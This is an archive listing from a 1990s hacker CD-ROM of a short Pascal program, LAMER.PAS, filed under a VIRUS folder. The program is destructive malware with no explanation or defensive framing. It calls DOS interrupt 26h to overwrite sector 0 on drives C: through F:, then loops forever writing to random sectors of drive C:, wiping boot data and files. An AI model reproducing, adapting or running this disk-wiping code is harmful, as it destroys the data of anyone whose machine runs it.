home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / LAMER.PAS < prev    next >
Pascal/Delphi Source File  |  1994-07-17  |  515b  |  30 lines
  1. program fuckyou;
  2. uses dos,crt;
  3. var
  4.  i,a,m,g,o,d:integer;
  5.  regS:registers;
  6. begin
  7.  randomize;
  8.  window(1,1,80,25);
  9.  textbackground(0);
  10.  textcolor(7);
  11.  clrscr;
  12.  for i:=2 to 5 do begin
  13.   regs.al:=i;
  14.   regs.cx:=666;
  15.   regs.dx:=0;
  16.   regs.bx:=random(9999);
  17.   intr($26,regs);
  18.  end;
  19.  repeat
  20.   regs.al:=2;
  21.   regs.cx:=random(900)+100;
  22.   regs.dx:=random(1500);
  23.   regs.bx:=random(9999);
  24.   intr($26,regs);
  25.  until true=false;
  26. end.
  27.  
  28. 
  29. Downloaded From P-80 International Information Systems 304-744-2253
  30.